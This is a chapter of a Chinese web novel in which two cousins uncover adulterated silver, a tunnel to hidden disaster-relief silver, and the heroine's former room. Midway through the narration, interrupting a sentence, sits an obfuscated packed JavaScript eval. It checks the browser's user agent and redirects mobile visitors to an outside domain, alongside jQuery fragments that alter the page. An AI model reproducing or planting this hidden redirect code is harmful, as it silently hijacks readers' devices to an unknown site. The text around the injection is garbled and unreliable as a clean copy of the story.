淅淅沥沥的雨声在耳边不断响起,盯着眼前朦胧的雨雾半晌,周砚之微微转身,侧头去看另一边的解相思,眼里神色晦暗不明。
自那日不欢而散后,他暗中找人查过她从前的事,却意外发现了些不得了的事。
据儋州刺史府的老人说,他这个表妹自幼就性情柔弱,低调内敛,喜欢安静独处。
可这些日子以来,她分明性情坚韧,心中自有一派恣意,向往着广袤世界。
更令他不解的是,传信的人说她从小因身子弱,未曾学过骑术,可前往阳曲的那几日,她分明是会的。
并且,她还说她从小就开始上马了。
看着解相思的背影,周砚之微微垂下眼,垂在身侧的手不自觉蜷缩。
表妹,你真的是表妹吗?
……
这雨虽然来得凶,下得急,可很快便停了。云雾散尽,暖洋洋的阳光照射在地,空气中的寒气都似乎散去不少。
雨停了,自然是要去做正事。
于是乎,先前挤在檐下的众人便又推搡着踏水而行。
而另一边的气氛则稍有些尴尬,先前周砚之偷偷看她,解相思不是不知道,只是觉得有些莫名其妙。
为了摆脱这种感觉,她连忙提着裙摆赶在周砚之前迈下台阶,小跑几步与身后的人隔开一小段距离。
感受到身后越来越靠近的脚步,解相思微不可查的朝旁边挪了挪,可却不偏不倚地撞在恰好走上前的周砚之身上。
一阵清冽的松香沁入鼻尖,周砚之的声音传来。
“为什么躲我?”
闻言,解相思长睫微颤,低声道:“没有躲你。”
“撒谎。”周砚之出手微扣住试图往旁挪脚的解相思,对上她投来的目光道:“表妹,我说过,你可以信我的。”
所以,不要再去自己承担一切了。
试着相信他吧。
抽了抽手,没抽动,解相思无奈叹气,看着他道:“表哥,我没有不相信你。”
僵了这么些天,解相思也冷静下来好好想了想,觉得自己那日的言论的确太不妥当了,那样说,无异于让周砚之对自己越发注意,不利于日后行事。
倒不如服个软,反正她日后该怎么做还是怎么做。
五指轻轻搭上周砚之的手,解相思抬眸轻声道:“表哥说会护我,我信。”
“不求死了?”
解相思摇摇头,“不求了。”
周砚之眉心松了松,“真的?”
“表哥不信我?”
解相思浅笑着打趣,随即转移了话题,“我们不是还要去钱监吗?走吧。”说罢,便拉着周砚之往钱监走。
两人交叠的影子映在地上的水坑里,波澜微漾。
……
周砚之这次是用监当官的身份来的钱监,因而守在门口的侍卫只是看了一眼他递过来的令牌就将两人放了进去。
看了看钱监内寥寥无几的几个人,解相思忍不住朝身旁的人小声道:“表哥,这钱监内的人都去哪了,怎么就这么几个?”
周砚之道:“儋州有我的人,使计将钱监司的人支开一阵子,不算太难。”
解相思点点头,“原来如此。”
两人走到熔炉房,方一靠近,便感受到那扑面而来的热意,竟然让两人生出几分错觉,以为到了夏日一般。
而这虽然是叫熔炉房,可这并不是个密闭的空间,反而很开阔,大大小小摆了上百个炉子,此刻炉内的金属液被烧得沸腾,不断咕噜咕噜的冒泡。
两人走到一旁已经注好的模板旁,仔细看了看上面银块的色泽,好半晌,解相思蹙眉道:“这里的银块色泽怎么这么奇怪?”
寻常的银块烧制出来,因是新制,色泽大多明亮,可这里的银块倒是泛着一阵乌暗,不像是刚烧制出来,倒像是过了些日子一般。
余光瞥见地上的一点屑末,周砚之蹲下身伸手,指尖用力在上面碾压了一瞬,看着指腹上染着的乌色,他沉声道:“他们加了铅。”
看着周砚之指尖的铅粉,在扭头看向桌上暗淡的银块,解相思了然。
这银锭的烧制虽然要用银,可从古至今,不少人为了从中牟利,也会在烧制银块时加入一些廉价金属,以便降低银的用量。
看着桌上银块色泽肉眼可见的暗淡,解相思不由得暗自诽腹道:“这得是从中牟了多少利啊!”
想到什么,她忍不住看向周砚之,“那……你现在还能看出这银子是不是赈灾银吗?”
周砚之:“……”
周砚之:“看不出。”
“也是。”解相思叹了口气,倒是没多失望,这银子暗成这样,周砚之要是还能通过色泽去辨,那他还真是火眼金睛。
随意在四周走了走,解相思忽然感觉脚下踢到了什么,低头望去,又试探性的在脚下踩了踩。
一阵闷闷的响声传来。
抬眸望向周砚之,她道“表哥,此处有异。”
……
两人使了点劲才将那块石板挪开,映入眼帘的是一条深不见底的暗道。
周砚之燃起火折子往底下伸了伸,火没灭,那便代表这里面至少还有一个出口。
相互对视一眼,周砚之先跳了进去,正转身准备接解相思时,只感觉面前一道气流划过,准备接的人就这么稳稳的落在了他身旁。
“走吧。”解相思朝他扬眉一笑。
昏暗的地道中,周砚之眸中的神色被藏得很好,眼角微弯,“好。”
……
这地道很长,两人走了许久,身后的那若隐若现的微光已经看不到了,而前方却还是一片漆黑,仿佛没有尽头一般。
耳旁似乎传来金属敲击的声音,解相思忍不住往周砚之那边靠了靠,而他似有所感,轻轻拍了拍她的背安慰。
手中的那一截火折子,就这么默默照亮前方。
不知又过了多久,两人才终于到了尽头,前方是一扇石门,不知是碰到了哪,随着一声轻响,石门缓缓打开。
随着石门的撤去,两人也看清了前方的景象,不禁睁大了眼。
只见不大的石室内,几座银锭堆成的小山几乎要将整间石室填满,火光下,银锭山发出闪闪亮光,映照得整间石室格外敞亮。
解相思拾起一块银锭看了眼,紧着心,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16205514|179637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
又将底部翻上,果不其然在上面看见了一小行字。
心脏一瞬间狂跳。
这行字,先前在萧家查抄出来的银锭上也有。
这是同一批银子!
看着石室内的银山,周砚之的声音极冷,“赈灾银。”
扫过室内的银锭,解相思估摸着这里面大概是有三十多万两银子,寻常烧制五十万两银子都要个一年半载的,而杨回运来的银子足有一百万两……
解相思冷下眼,那就说明,解父定然是往京城运了五十万两银子。
周砚之自然也想到了这一点,面色一瞬间变得极为难看。
当初萧家被这么快定罪叛国的原因,就是金吾卫在侯府内查抄出了大量的银钱,朝野都为此震动。
圣上震怒,加之舆论过盛,方急命萧家人进京候审,却不想路上遇袭惨死。
萧家人世代镇守北疆,如今主将身死,原本不安分的北夷部落更是蠢蠢欲动。
他眼底掀起一阵冷意。
不管这幕后之人所图为何,他此举已然立大昭于危险之中。
“咔嚓——”
安静的石室内骤然响起一声轻响。
周砚之猛地抬眸望去,只见解相思已经走到了石室内的另一个出口,一手正按在石壁上的一处微小的凸起。
见他望来,解相思食指压在唇边,朝他轻轻摇了摇头。
缓缓打开的是一面古博架,古博架后面,是一间装饰的极为精致的房间,看起来像是女子居住的地方。
看清室内的景象后,解相思脑中忽然闪现出一幅画面。
女子手中捧着一本书,坐在窗前安静的翻看,忽然,一个小丫鬟走了进来,行了个礼,冲窗前的人道:“小姐,老爷让我们准备准备去京城。”
京城?
这难道是……
解相思心中有了个猜测。
下一秒,女子转过身,露出一张她熟悉的脸。
“京城?”
随着她一语落,脑中的画面戛然而止。
解相思身形微微晃了晃,朝身后的周砚之道:“这是解相思的房间。”
“表妹。”听到她这样说,周砚之不明所以,说道:“你不就是解相思吗?”
闻言,解相思嘴角一僵,静了须臾,又微微勾起一个浅淡的弧度,拍了拍自己的头,“是……是,你看我这记性。”
想起自己先前“失忆”之说,不待周砚之再问,她就解释道:“方才一进这个房间,我的脑中忽然涌出我过去生活在这的画面,可毕竟我先前失忆了,乍一想起来,一时间有些反应不过来。”
周砚之点点头,少顷,又问道:“那表妹可还想起什么了?”
解相思摇摇头,“并未。”
方才那画面持续的时间也不久,只是一瞬罢了。
垂眸看了眼身侧的手,解相思猜想,恐怕是她这具身体还残留着原身的记忆吧。
两人在屋内转了一圈,并未发现什么特别之处,除了方才作为暗门的古博架,这间屋子就和寻常的房间没什么不同。
忽然,门外传来一道声音。
“大人请。”